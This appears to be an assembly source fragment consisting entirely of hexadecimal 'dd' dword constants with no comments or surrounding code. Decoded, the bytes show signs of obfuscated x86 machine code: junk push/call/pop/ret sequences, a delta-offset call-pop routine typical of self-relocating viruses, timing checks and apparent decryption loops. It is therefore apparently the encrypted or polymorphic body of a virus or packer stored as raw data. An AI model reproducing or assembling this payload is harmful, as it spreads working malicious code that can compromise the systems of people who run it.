		dd 0A1D62B1Ch, 0F874C36h, 70E6DFBFh, 22D19D2Bh,	71E40607h
		dd 0EE8h, 413F4D00h, 0F1EB9060h, 92E761B0h, 0E82F7D17h
		dd 5, 0A4CE838Eh, 0E19D8B79h, 5B06072Bh, 0F613C5Fh, 0FA83h
		dd 319D8B00h, 0F060723h, 0BAF9C8B6h, 6,	5E9h, 158A6800h
		dd 0C18B01BCh, 0C1DE8B66h, 0DB8104E8h, 38D5DA44h, 81E2F766h
		dd 60017CBh, 81C82B06h,	90EB50EBh, 0E9D18B03h, 0Eh, 0FB8D954Ah
		dd 3FF30996h, 84F30017h, 0A8E93FB8h, 0E8000000h, 6, 0A9DC784Ch
		dd 8D01EC8Fh, 6072661h,	1858B5Fh, 0F000000h, 78Ah, 81665000h
		dd 5F17E9D7h, 6607C083h, 0C083FA8Bh, 580EBB00h,	0D03B0E1Ch
		dd 10830Fh, 0C2BF0000h,	0E955AE46h, 63h, 21D5BD8Bh, 8D8B0607h
		dd 0FFFFFFFFh, 0AE8h, 4B028B00h, 7EED53F9h, 8B70712Dh
		dd 70459BDh, 0E1835B06h, 38840F01h, 0E8000000h,	9, 639A741Bh
		dd 0CB07E16Eh, 0C781661Dh, 835B051Fh, 0FFFFFFA5h, 8589FEFFh
		dd 6072101h, 19589h, 9D290000h,	60713E1h, 11A18589h, 0E90607h
		dd 8D000000h, 0B4CF6B5h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1B04h, 0C3554500h, 0A61D1BCBh, 0D0DD9BADh
		dd 43CF8166h, 6A006A5Bh, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 15042444h, 42000000h, 1186C352h, 10E8h, 4061F300h
		dd 0B59FDEC5h, 0C66AC7FDh, 0A8B807C8h, 5FDA8B6Dh, 28B0F52h
		dd 57000000h, 95FF5B5Fh, 6070D69h, 2A818589h, 8AB90607h
		dd 6600000Fh, 0E183FA8Bh, 0A9BD8BFCh, 0FC060705h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 0DC35343h, 0B8D745h
		dd 6A000000h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 17042444h, 46000000h, 1B6EC356h, 85298256h, 60712A5h
		dd 0BAh, 11E85100h, 0FC000000h,	0AE0CA881h, 4D388473h
		dd 0FA5C0548h, 96802BE6h, 3A4375BBh, 0AD5F5B22h, 0E8D1C233h
		dd 0E983D003h, 0B3F47504h, 55006AEAh, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1D04h,	0C3554500h, 386E4890h
		dd 0FF3D9687h, 880DCBA7h, 0FC000000h, 1AD9958Bh, 6A0607h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h, 55450000h
		dd 180F2CC3h, 0C77A8CA2h, 8A0FC0D1h, 6,	75D8D89h, 8D8B0607h
		dd 607101Dh, 23919589h,	8B500607h, 3188BC2h, 8B188BC1h
		dd 3E8D1C1h, 58188BC2h,	95C38166h, 0F381660Ah, 6ABE8Eh
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h, 50400000h
		dd 43B89C3h, 0A3A83E16h, 0BD8BC2CDh, 60714F5h, 0E29BD83h
		dd 0F000607h, 9984h, 0AD9D8900h, 0B8060729h, 0
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 42C35545h
		dd 0E5063731h, 55F710h,	0FE8h, 0EDE7F200h, 0B5D503EAh
		dd 0B4CA603Bh, 893FC5C3h, 5FF88B66h, 4B9B8D8Dh,	6A0607h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h, 51410000h
		dd 9EF7D3C3h, 822F22A2h, 0FFFEBF0Fh, 51006AE1h,	3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1804h,	0C3514100h, 0FD6E2713h
		dd 549EBFB2h, 0BD831882h, 6073305h, 0E7840F00h,	8B000003h
		dd 723219Dh, 0C5BD8B06h, 83060711h, 73305BDh, 840F0106h
		dd 3E9h, 0E850006Ah, 3,	58C35820h, 4244489h, 4244481h
		dd 1Ah,	0D0C35040h, 22550960h, 0BD839658h, 6073305h, 84860F03h
		dd 6A000003h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 16042444h, 41000000h, 0FE9DC351h, 7AB46013h,	13B9958Bh
		dd 0E8610607h, 7, 2DB74BAh, 0F452F7Bh, 688h, 72F78100h
		dd 5F234D08h, 29BD0360h, 6606070Dh, 6AD98Ch, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1D0424h, 51410000h, 5ECF9CC3h
		dd 1A9559D3h, 8A756D6Bh, 4E180DAh, 3A6BE381h, 0C90A1216h
		dd 113840Fh, 9D8B0000h,	6072345h, 2A1D858Bh, 95890607h
		dd 6072A5Dh, 1AFD8533h,	6A0607h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 190424h, 50400000h, 33870BC3h, 50539E36h
		dd 4212BF66h, 6A240489h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 18042444h, 41000000h, 4B52C351h, 0BB7E5CA9h
		dd 78F2D0E0h, 0B70F006Ah, 0EDBD8BDEh, 68060722h, 8144E2B9h
		dd 0BE953h, 0EBF70000h,	0B9D7381Eh, 25150DEEh, 4815B53h
		dd 0DA214624h, 56006A7Eh, 3E8h,	0C35E2000h, 2474895Eh
		dd 24448104h, 1D04h, 0C3564600h, 0E88A7D68h, 0C7FC5AA7h
		dd 0FFF8F633h, 709F995h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1A04h, 0C3574700h, 0C007E045h, 898A8BBDh
		dd 0AADDF85h, 0BD952906h, 0E9060702h, 16Bh, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 17h, 0BEC35646h, 294B37DCh
		dd 707C98Dh, 0D7858B06h, 6A060AADh, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1A042444h, 41000000h, 0EDD2C351h
		dd 0BE252EE7h, 8D89608Ch, 60729A1h, 5850Fh, 0EB90000h
		dd 611E6BF1h, 1800C7h, 6A0000h,	3E856h,	5E200000h, 74895EC3h
		dd 44810424h, 170424h, 56460000h, 59B35C3h, 8B67B7CDh
		dd 0AADDBB5h, 70F38106h, 8B4F1DF7h, 72BCD85h, 0D19BB06h
		dd 6895893h, 0E8D8D89h,	858B0607h, 6072A1Dh, 2805B589h
		dd 46890607h, 0DE904h, 3900000h, 0B1277CFBh, 852A6553h
		dd 50637CD7h, 89F88B66h, 0BE92434h, 86000000h, 93A34624h
		dd 619E5414h, 0B5FF5C85h, 60AADD7h, 4AC78166h, 0D7A068A3h
		dd 525069CAh, 0FDE8B66h, 2870F31h, 8B000000h, 81585ADEh
		dd 0D45F2434h, 6A69D5h,	3E853h,	5B200000h, 5C895BC3h, 44810424h
		dd 1B0424h, 53430000h, 3F2EE1C3h, 0DBB27E38h, 0DF858DD0h
		dd 0F8060AADh, 0BB665390h, 505BFA1Ch, 6A90D98Bh, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 19042444h, 41000000h
		dd 8B35C351h, 44AD1982h, 2A45BD33h, 95FF0607h, 60709F9h
		dd 615BFC53h, 20E59D89h, 11E90607h, 3D000000h, 7CB7A0ADh
		dd 62B01C43h, 0BA5A5DCCh, 521991Ch, 330585C7h, 30607h
		dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h
		dd 57470000h, 0B3E298C3h, 7A261E71h, 0FA90CF9h,	68Bh, 0F58D3100h
		dd 8B060732h, 0DFBD83FAh, 60AADh, 41840Fh, 0A1BF0000h
		dd 0E964256Fh, 52h, 0E852006Ah,	3, 5AC35A20h, 4245489h
		dd 4244481h, 18h, 2AC35242h, 641EFF9Eh,	12E9h, 50E32E00h
		dd 0F307194Ch, 5EBDA5FDh, 2A9F8DF1h, 50694517h,	110C30h
		dd 0C1011144h, 443010E8h, 4C000211h, 83580311h,	0E77504E9h
		dd 305036EBh, 64001104h, 0E8C10111h, 11443010h,	11640002h
		dd 0E9835803h, 0EBE77504h, 0E8C1501Bh, 11642810h, 11443003h
		dd 64285802h, 4300111h,	4E98311h, 0EBE775h, 9589C08Bh
		dd 6070F0Dh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 1Dh,	0C7C35141h, 7D4815FEh, 0FAB15CAAh, 0A99D8919h
		dd 8306070Ch, 73305BDh,	850F0306h, 463h, 29E9B501h, 0BD830607h
		dd 60AADDFh, 50840F00h,	8B000004h, 726499Dh, 9E806h, 6F7A0000h
		dd 4876AD63h, 895C4D04h, 72A259Dh, 0B5FF5F06h, 60AADDFh
		dd 7BBF6656h, 95FF5BF1h, 6072129h, 0CE9h, 0FC967400h, 512DDEE3h
		dd 84AFBDBCh, 0D3B58BC4h, 6A060AADh, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 15042444h, 47000000h, 0A25BC357h
		dd 0C7FBB70Fh, 1000106h, 51006A00h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1A04h, 0C3514100h, 0C84BF355h, 90EA292h
		dd 719A585h, 0DB816606h, 0E8508E49h, 0Bh, 0BDF6AA4Fh, 0AAEEEC51h
		dd 667B2BAFh, 895FF98Bh, 860F2434h, 0
		dd 0ADDFB5FFh, 8E9060Ah, 8000000h, 0EA4E5EB0h, 0FF119566h
		dd 7025195h, 51006A06h,	3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1504h, 0C3514100h, 850FC47Fh, 6, 4F92E781h, 8D89249Ah
		dd 60710A9h, 0ADD3B58Bh, 9E9060Ah, 0C6000000h, 0F8827802h
		dd 0F8F08174h, 12A1858Bh, 6A0607h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1D0424h, 56460000h, 96026CC3h, 0B625F682h
		dd 8167697Fh, 5E8F6FF3h, 0C486891Ah, 66000000h,	958BFB8Bh
		dd 6071AD9h, 83D88B66h,	6A04C2h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 140424h, 57470000h, 850F67C3h, 6,	1DD19589h
		dd 50890607h, 53006A20h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1D04h, 0C3534300h, 4010180Dh, 0E5ACCF5Ah, 0BF0F809Eh
		dd 70858DFEh, 6A060AC1h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 19042444h, 43000000h, 3D59C353h, 0A469AAD8h
		dd 0EF5A48BFh, 0B8868915h, 6A000000h, 3E85700h,	20000000h
		dd 895FC35Fh, 8104247Ch, 18042444h, 47000000h, 179AC357h
		dd 0FA885B5h, 681h, 558D0100h, 6A060721h, 50006A00h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1804h, 0C3504000h
		dd 0A9AA98E5h, 398589DDh, 0F06072Eh, 0C87h, 6830F00h, 0F000000h
		dd 85h,	0DA8B6600h, 0ADDFB5FFh,	9D8B060Ah, 6072F99h, 79195FFh
		dd 0FE90607h, 55000000h, 0D3FCE655h, 41F79C57h,	0FAB024E8h
		dd 0E9965D12h, 14h, 0FC23D702h,	0D3D87CFEh, 483E3613h
		dd 6E6199DCh, 37349FD7h, 0B7525050h, 5A310FB5h,	6A9658h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h, 56460000h
		dd 8BBF10C3h, 72E39BDh,	0DFB5FF06h, 6A060AADh, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 18042444h, 42000000h
		dd 0DD4CC352h, 1DB912Bh, 71F1D8Dh, 995FF06h, 6A06072Dh
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 18042444h
		dd 43000000h, 0E259C353h, 0E936A2EAh, 10h, 0F38F768Ah
		dd 7861BBE5h, 8FC2C81Bh, 92EAF28Fh, 1AF9B529h, 0BD830607h
		dd 60714C1h, 12840F00h,	96000000h, 0DD44F4BBh, 8DBB5048h
		dd 9609043Bh, 0ADE38166h, 0DFB5FF03h, 89060AADh, 707059Dh
		dd 9595FF06h, 6A06071Fh, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 19042444h, 43000000h, 9358C353h, 0EB8ABE7Bh
		dd 68C0Fh, 95290000h, 6072219h,	0ADDFB5FFh, 6A060Ah, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 1D0424h, 55450000h
		dd 0F4A6F2C3h, 0D0CE97F6h, 8B3EC430h, 732F99Dh,	0C0BF6606h
		dd 0C195FFC2h, 0E8060702h, 0Eh,	92881C7Bh, 0D49D6662h
		dd 0E15EED33h, 0EE9C217h, 6B000000h, 767A3BAh, 7C6BAB21h
		dd 1B886B37h, 0BD835F38h, 6072865h, 47840F02h, 6A000000h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1A042444h
		dd 41000000h, 0AEB6C351h, 0F2C95D75h, 41B58954h, 0F06071Eh
		dd 0FA8BDBBFh, 0E69858Bh, 0BB660607h, 0BD8B93F9h, 6071EF9h
		dd 660000C6h, 804387BFh, 85C710F7h, 6072A51h, 0
		dd 0D820Fh, 8E90000h, 83000000h, 0E6DAD80Dh, 0E9FE940Bh
		dd 0FFFFF34Bh, 6AC18Bh,	3E852h,	5A200000h, 54895AC3h, 44810424h
		dd 190424h, 52420000h, 0E09B0AC3h, 6039D93Dh, 1B3AF0BFh
		dd 9B58B68h, 61060710h,	18B1858Dh, 6A0607h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 150424h, 52420000h, 90E964C3h
		dd 6A9050h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h
		dd 55450000h, 0E41783C3h, 29AE18CBh, 7288585h, 0A98D2906h
		dd 6A060728h, 73E38100h, 6A22DBD0h, 0E5B58900h,	8D060711h
		dd 0BDC2185h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1B04h, 0C3514100h, 9E7BB38Ch, 3236C5Eh, 49DBD89h, 0C0830607h
		dd 39BFFC05h, 90717CBFh, 91BB5250h, 0F52C2DDh, 5850F31h
		dd 0BF000000h, 46468319h, 6650585Ah, 90570FBFh,	0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 91C35747h, 9BB0EB81h
		dd 0C411CCF6h, 1D9D0349h, 6A060705h, 52006A00h,	3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1904h,	0C3524200h, 868EDDC1h
		dd 6A4C0Ch, 0AFA1C781h,	9D8B7B99h, 607218Dh, 1E3D95FFh
		dd 6A0607h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1A0424h
		dd 55450000h, 204444C3h, 0C6092352h, 0DCE1FBBFh, 0D9D037Eh
		dd 8D060728h, 0A93D58Dh, 0DF8B6606h, 0BF0FD1FFh, 0BDBD83FBh
		dd 1060719h, 6A850Fh, 6A0000h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 160424h, 50400000h, 0B91FC9C3h, 485BD2Bh
		dd 26A0607h, 0B7D8D89h,	50F90607h, 0DF8B5250h, 0DC8A310Fh
		dd 489585Ah, 0F0C0BB24h, 95FF0001h, 6070791h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 66C35141h, 0EA3CA96Bh
		dd 14ABECBCh, 0CE3E9h, 0E800h, 815D0000h, 0BDC2BEDh, 6AF806h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h, 51410000h
		dd 75A107C3h, 2EE78106h, 8D297D69h, 0A843F85h, 53006A06h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1504h, 0C3534300h
		dd 9E94837h, 42000000h,	33FFF85h, 393D80D8h, 89DE8B50h
		dd 6A2404h, 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h
		dd 50400000h, 4C171BC3h, 31BE10B6h, 59D095Bh, 64060726h
		dd 35FFh, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 140424h, 52420000h, 9D03B2C3h, 607291Dh, 258964h, 6A000000h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 15042444h
		dd 43000000h, 0A7BFC353h, 10E9h, 9EC6A800h, 6781F523h
		dd 96ECB945h, 3BD8D4C4h, 5985FFE5h, 6A06072Fh, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 15042444h, 43000000h
		dd 868BC353h, 2E359D8Bh, 8D890607h, 6072C55h, 0BF0FFF6Ah
		dd 0C5B5FFDAh, 6A060707h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1A042444h, 47000000h, 400FC357h, 43EEF723h
		dd 8995FF96h, 0E906072Bh, 122h,	0E7A39DBBh, 100B021h, 728D18Dh
		dd 6670E606h, 71E4FA8Bh, 0AE9BD8Bh, 613C0607h, 100830Fh
		dd 0DA8B0000h, 66C8B60Fh, 0BAC119BFh, 6, 0B859D8Bh, 0C18B0607h
		dd 2890Fh, 0DD8A0000h, 19BD8B57h, 5F06072Bh, 8904E8C1h
		dd 71EF98Dh, 0E2F76606h, 89C82BF8h, 72D7185h, 51D18B06h
		dd 45958960h, 8B06070Eh, 718F58Dh, 0E95F6106h, 0AEh, 23FB8B66h
		dd 725FD9Dh, 4858B06h, 60000000h, 0FC3B70Fh, 8361D1BFh
		dd 0F38007C0h, 959D3378h, 8306072Ah, 9D8B00C0h,	6071A4Dh
		dd 0F99D8Bh, 0D03B0607h, 1B830Fh, 6FE90000h, 0E8000000h
		dd 10h,	9D1AEFE4h, 7F7F1C60h, 0FC9F0B8h, 17BF15DFh, 0FF8D8B5Bh
		dd 0E9FFFFFFh, 12h, 0F9B9D8B2h,	0CF2B8381h, 0D0EFFAF7h
		dd 0E00C7A2Bh, 0E183D784h, 33840F01h, 0E9000000h, 14h
		dd 1803FFF9h, 0B29F6536h, 0B9EF9932h, 6E4B9916h, 0A56B399h
		dd 0FFFFA583h, 8BFEFFFFh, 704A5BDh, 4958906h, 8B000000h
		dd 0E9D8h, 0B58D0000h, 60B5C80h, 0E5014DBBh, 89006A38h
		dd 704E98Dh, 2830F06h, 8B000000h, 6995FFD8h, 6A06070Dh
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 18042444h
		dd 45000000h, 9BCEC355h, 0E9618524h, 0Ch, 3ED6BEAFh, 81564868h
		dd 76340042h, 107EB9h, 52006A00h, 3E8h,	0C35A2000h, 2454895Ah
		dd 24448104h, 1D04h, 0C3524200h, 0A18564C3h, 0C61ABE8Bh
		dd 0BD0B8678h, 60720FDh, 83FE8B66h, 0EE9FCE1h, 22000000h
		dd 0B3F3DDA4h, 0A16C4490h, 1A9C8C6Ch, 6AFCCCh, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 1C0424h, 52420000h
		dd 8B19C8C3h, 2BDC7256h, 0BD316B16h, 6070FE1h, 0B8h, 0DBD8B00h
		dd 0BA06071Bh, 0
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 54C35242h
		dd 340F9830h, 0B70F7927h, 0C233ADFBh, 0D003E8D1h, 7504E983h
		dd 10E9F4h, 6DA20000h, 0F032F306h, 55D9A1C3h, 77C908F2h
		dd 6AE577h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h
		dd 57470000h, 0DEE1CC3h, 88h, 25DD9D89h, 0B70F0607h, 0D9958BF8h
		dd 0BF06071Ah, 4CCE7317h, 101D8D8Bh, 0BF0F0607h, 0C28B50F9h
		dd 0C103188Bh, 0C18B188Bh, 0C203E8D1h, 6A58188Bh, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 18042444h, 47000000h
		dd 1A0BC357h, 0E9510C01h, 14h, 4BAAE299h, 8DA9FAE1h, 985FFAC7h
		dd 0BADA3444h, 0F08DC89Ch, 0E29BD83h, 0F000607h, 6084h
		dd 59D8B00h, 0B806072Dh, 0
		dd 8D8DF88Bh, 6074B9Bh,	0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 19h, 0AFC35343h, 80E25FC4h, 6AE1FFE7h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 19042444h, 41000000h
		dd 640EC351h, 7D18D026h, 29DAB70Fh, 709B995h, 5BD8306h
		dd 60733h, 42A840Fh, 6A0000h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 150424h, 50400000h, 8B49E4C3h, 705399Dh
		dd 0BDBD8906h, 8306070Fh, 73305BDh, 840F0106h, 40Fh, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 17h, 0BDC35141h, 0B7F8C154h
		dd 5BD8330h, 3060733h, 3AB860Fh, 60F80000h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 0C3C35646h, 33DF3DB6h
		dd 0E9D0BC8Eh, 9, 0B373EB5Ah, 0A59B9510h, 0D98C660Bh, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 0B7C35343h, 0E95B302Dh
		dd 2DB52965h, 80060720h, 9D8904E1h, 6070549h, 840FC90Ah
		dd 16Eh, 0E850006Ah, 3,	58C35820h, 4244489h, 4244481h
		dd 1Bh,	6EC35040h, 5ADD3561h, 0E9422E3Ah, 12h, 0B0716DEFh
		dd 21431E1h, 0C8DC49AEh, 901AD84Dh, 0BD8B0585h,	607203Dh
		dd 2A1D858Bh, 6A0607h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 1B0424h, 53430000h, 7AF27FC3h, 1197FFEDh, 4DB5897Dh
		dd 8B060718h, 718559Dh,	0FD853306h, 8B06071Ah, 7141D9Dh
		dd 8E0F5006h, 0
		dd 66240489h, 9EFBE381h, 6A006Ah, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 160424h, 50400000h, 0C1AE4AC3h, 14118589h
		dd 3E680607h, 0BF6C2228h, 0A735FCDh, 0C1243481h, 6A6C3D2Bh
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1A042444h
		dd 40000000h, 9F09C350h, 3DFB2236h, 0C151BF32h,	95FF2AC8h
		dd 60709F9h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 14h,	51C35242h, 1860Fh, 0B7F80000h, 0DF858981h, 6A060AADh
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 14042444h
		dd 40000000h, 8100C350h, 6BCAC6F7h, 178E914h, 6A0000h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h, 57470000h
		dd 8C7CB2C3h, 0B3B9F20Ch, 0F9525076h, 858B5F5Fh, 60AADD7h
		dd 2AE18589h, 0C7F80607h, 1800h, 52006A00h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1704h,	0C3524200h, 0C885156Dh
		dd 12E9h, 90214A00h, 0F7A73BE2h, 0F3265962h, 840072D2h
		dd 338819F7h, 706E59Dh,	0DBB58B06h, 8B060AADh, 72C299Dh
		dd 0F1F78106h, 8B4FD288h, 72BCD85h, 53006A06h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1D04h,	0C3534300h, 0D78A12C9h
		dd 7475FF9Bh, 81667D4Ch, 893F97D7h, 0AFEB8006h,	2A1D858Bh
		dd 66600607h, 3FBEF78Bh, 613D9020h, 0E9044689h,	13h, 3E9A7157h
		dd 0FDCC8244h, 6AAABB58h, 0D0361D6Bh, 500F61C8h, 28A0Fh
		dd 0FA8B0000h, 8B243489h, 0D7B5FFF9h, 6A060AADh, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 15042444h, 42000000h
		dd 0F9C1C352h, 3719D03h, 98680607h, 6045EE57h, 0FB8B6660h
		dd 0B3615952h, 3481616Ah, 0F1546724h, 31BD8B45h, 8D06071Ah
		dd 0AADDF85h, 0FB8B6606h, 24048950h, 0FF09DB80h, 709F995h
		dd 52006A06h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1D04h
		dd 0C3524200h, 2AD753BBh, 1553219Fh, 6A61BA4Bh,	3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 14042444h, 47000000h
		dd 8B15C357h, 72C31BDh,	585C706h, 3060733h, 8B000000h
		dd 7188D9Dh, 0DFBD8306h, 60AADh, 3F840Fh, 6A0000h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 1A0424h, 57470000h
		dd 6171CCC3h, 0C13A4FD6h, 33E9h, 13E900h, 20D00000h, 206EA06Eh
		dd 87E5475Ch, 0C7A55F7Dh, 0A1622F02h, 0C30508Ah, 11440011h
		dd 10E8C101h, 2114430h,	3114C00h, 4E98358h, 36EBE775h
		dd 11043050h, 1116400h,	3010E8C1h, 21144h, 58031164h, 7504E983h
		dd 501BEBE7h, 2810E8C1h, 30031164h, 58021144h, 1116428h
		dd 83110430h, 0E77504E9h, 0C08B00EBh, 0BD296060h, 6072D55h
		dd 2D65B589h, 0E9610607h, 0Fh, 0D25DD467h, 1C018A8Ch, 59CD984Eh
		dd 611AA3FFh, 0E851006Ah, 3, 59C35920h,	4244C89h, 4244481h
		dd 1Bh,	7EC35141h, 8A8AD75h, 894D58FFh,	71061BDh, 5BD8306h
		dd 3060733h, 35A850Fh, 6A0000h,	3E853h,	5B200000h, 5C895BC3h
		dd 44810424h, 190424h, 53430000h, 36B090C3h, 57B237CDh
		dd 5E9h, 190FB300h, 895B1730h, 725ED85h, 0DFBD8306h, 60AADh
		dd 31A840Fh, 0FB8B0000h, 41D9D8Bh, 0B5FF0607h, 60AADDFh
		dd 2371BD8Bh, 95FF0607h, 6072129h, 2DBD8BF9h, 8B060714h
		dd 0AADD3B5h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1D04h, 0C3564600h, 0DC24C466h, 22188F95h, 0FA8B5EFDh
		dd 106C7h, 89600001h, 70BED9Dh,	0E5B58B06h, 6106072Fh
		dd 24348950h, 19219589h, 0DF810607h, 45990E76h,	0ADDFB5FFh
		dd 8166060Ah, 0FF37D0F7h, 7025195h, 52006A06h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1A04h,	0C3524200h, 524FFEA1h
		dd 66914C68h, 0A206DB81h, 0ADD3B58Bh, 6A060Ah, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 150424h, 56460000h
		dd 6682AAC3h, 858BF88Bh, 60712A1h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 1Bh, 0CC35242h, 1DF14EA7h, 8B4FCCB4h
		dd 71F6DBDh, 0C4868906h, 89000000h, 7220995h, 0D9958B06h
		dd 6606071Ah, 0C283DA8Bh, 99958904h, 89060702h,	6A2050h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h, 51410000h
		dd 67D933C3h, 858912ADh, 6072661h, 0C170858Dh, 0C781060Ah
		dd 4FCF6A97h, 0B88689h,	0F98B0000h, 25DD8589h, 6A0607h
		dd 0C800Fh, 850F0000h, 6, 2B59D8Bh, 0B5FF0607h,	60AADDFh
		dd 79195FFh, 6A0607h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 1D0424h, 50400000h, 0ABBD20C3h, 0E9C3F8C7h, 668666DDh
		dd 5046E2BBh, 0C171B3BBh, 2434892Ch, 1A598589h,	0B5FF0607h
		dd 60AADDFh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 15h,	67C35343h, 0E1BD89C5h, 0FF06070Dh, 72D0995h, 40BF6606h
		dd 0AD33BF60h, 0BD832F12h, 60714C1h, 3F840F00h,	6A000000h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 14042444h
		dd 41000000h, 0FCE8C351h, 50605650h, 5A310F52h,	0CE858h
		dd 13C60000h, 0AF07C51Bh, 0B278920Eh, 615ABE05h, 2434895Fh
		dd 0B5FF55B7h, 60AADDFh, 0CE9h,	5805000h, 5644344h, 62FE0A70h
		dd 9595FFDAh, 6A06071Fh, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 17042444h, 43000000h, 3B68C353h, 0E8603DD5h
		dd 0Fh,	427B77ADh, 0AD628342h, 0FE1D63DFh, 5A3DC193h, 0DFB5FF61h
		dd 23060AADh, 71FA59Dh,	0BE906h, 80920000h, 0B6AA8F37h
		dd 507D1E96h, 0C195FFC6h, 8B060702h, 7091D9Dh, 0DBC38106h
		dd 8342D6ADh, 72865BDh,	840F0206h, 40h,	0C05BD09h, 840F0607h
		dd 6, 1F0D9589h, 858B0607h, 6070E69h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 15h, 0A1C35141h,	5DBD8BA7h, 8B06072Fh
		dd 0C6FAh, 2A5185C7h, 607h, 85890000h, 6070209h, 0FFF46BE9h
		dd 56006AFFh, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1B04h
		dd 0C3564600h, 29D72894h, 72A530D7h, 0BD8BC18Bh, 6070DC1h
		dd 18B1858Dh, 9D890607h, 60705C1h, 52505750h, 5B51310Fh
		dd 895B585Ah, 6A2404h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 150424h, 50400000h, 0E98388C3h, 14h,	4154294h, 8C79CD38h
		dd 820977FBh, 0C2CC99Fh, 8E38EF12h, 0B70F006Ah,	6A006AF9h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1B042444h
		dd 46000000h, 297CC356h, 7D92055Eh, 0F577E3Ch, 8D5FDBB7h
		dd 0BEB2485h, 6E806h, 0DFB50000h, 0B2AA33BBh, 8E52F781h
		dd 835F37FAh, 509005C0h, 6A90505Bh, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1B042444h, 45000000h, 0F991C355h
		dd 0BEF2FBE9h, 0C3800BA3h, 6ADA8A40h, 51006A00h, 3E8h
